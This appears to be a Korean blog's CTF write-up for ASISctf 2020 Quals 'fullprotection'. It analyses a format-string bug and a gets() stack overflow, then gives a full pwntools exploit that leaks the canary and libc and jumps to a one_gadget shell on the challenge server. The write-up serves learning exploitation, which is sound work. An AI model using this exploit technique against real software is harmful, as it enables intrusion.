일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
Tags
- 포맷스트링버그
- DFS
- 완전 탐색
- 수학
- 스택
- 분할 정복
- 연결리스트
- BFS
- tcache
- 투 포인터
- 이진 탐색
- heap
- RTL
- syscall
- 이진트리
- fsb
- 큐
- 이분 탐색
- 스위핑 알고리즘
- 에라토스테네스의 체
- off by one
- House of Orange
- 백트래킹
- ROP
- 다이나믹 프로그래밍
- BOF
- OOB
- 문자열 처리
- 브루트 포스
- 동적 계획법
Archives
- Today
- Total
SDJ( 수돈재 아님 ㅎ )
ASISctf 2020 Quals - fullprotection 본문
보호기법은 그린벨트를 이루고 있다
바이너리를 분석해보자.
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[64]; // [rsp+0h] [rbp-58h]
unsigned __int64 v5; // [rsp+48h] [rbp-10h]
v5 = __readfsqword(0x28u);
*v4 = 0LL;
*&v4[16] = 0LL;
*&v4[32] = 0LL;
*&v4[48] = 0LL;
while ( readline(v4, 0x40) )
{
__printf_chk(1LL, v4);
_IO_putc(0xA, _bss_start);
}
return 0;
}
간단하게 main에서 readline(v4, 0x40)을 호출하고 리턴값이 True일 경우 v4를 출력하고 _IO_putc를 통해 개행을 해주는 것 같다. True일 경우 계속해서 입력을 할 수 있다.
헌데 __printf_chk함수에서 v4에 우리가 입력한 format이 들어가기 때문에 FSB가 발생한다.
그럼 readline()함수를 보자
size_t __fastcall readline(char *s, int a2)
{
size_t result; // rax
gets();
result = strlen(s);
if ( result >= a2 )
{
puts("[FATAL] Buffer Overflow");
_exit(1);
}
return result;
}
처음 그냥 gets()를 호출하는 것을 볼 수 있는데
gets()는
SYNOPSIS
#include <stdio.h>
char *gets(char *s);
처럼 사용을 하게 된다.
즉 $rdi에 들어있는 값을 인자로 사용하게 되는데 이것은 현재 s기 때문에 gets(s)와 같다는 것을 의미한다.
근데 Canary가 있기 때문에 바로 BOF 트리거를 할 수는 없고 위에서 말한 FSB를 가지고 canary를 leak하고나서 가져와야할 것 같다.
FORTIFY 보호기법 때문에 그런건지는 모르겠으나 "%N$"형태의 입력을 할 경우에는 *** invalid %N$ use detected ***를 뿜으면서 Abort로 프로그램을 조져버린다
따라서
1. FSB로 canary, libc leak
2. BOF로 exploit
을 해주면 되겠다.
exploit code
서버랑 로컬이랑 출력되는게 달라서 서버 기준으로 짜인 코드
from pwn import *
server = 1
if server:
p = remote("69.172.229.147", 9002)
else:
p = process("./chall", env={"LD_PROLOAD":"./libc-2.27.so"})
one = [0x4f2c5, 0x4f322, 0x10a38c]
pay = ''
pay += '%p'*(0x40//2-1)
p.sendline(pay)
tmp = p.recvuntil("\n")
tmp = tmp.replace("0x", "--")
for i in range(12):
idx = tmp.find("--")
tmp = tmp[idx+2:]
canary = int(tmp[:tmp.find("(nil)")], 16)
print "canary : " + hex(canary)
idx = tmp.find("--")
tmp = tmp[idx+2:]
libc_leak = int(tmp[:tmp.find("--")], 16)
print "libc_leak : " + hex(libc_leak)
libc_base = libc_leak - 0x21b97
print "libc_base : " + hex(libc_base)
one_gadget = libc_base + one[1]
pay = ''
pay += 'a\x00'
pay += 'a'*(0x48-len(pay))
pay += p64(canary)
pay += 'X'*8
pay += p64(one_gadget)
p.sendline(pay)
sleep(0.05)
p.sendline("\x00")
p.interactive()
FLAG : ASIS{s3cur1ty_pr0t3ct10n_1s_n07_s1lv3r_bull3t}
'write-up > pwnable' 카테고리의 다른 글
ASISctf 2020 Quals - invisible (0) | 2020.07.07 |
---|---|
ASISctf 2020 Quals - babynote (0) | 2020.07.06 |
HSCTF 2020 - got it (0) | 2020.06.09 |
HSCTF 2020 - studysim (0) | 2020.06.09 |
Defenit 2020 - errorprogram (0) | 2020.06.09 |
Comments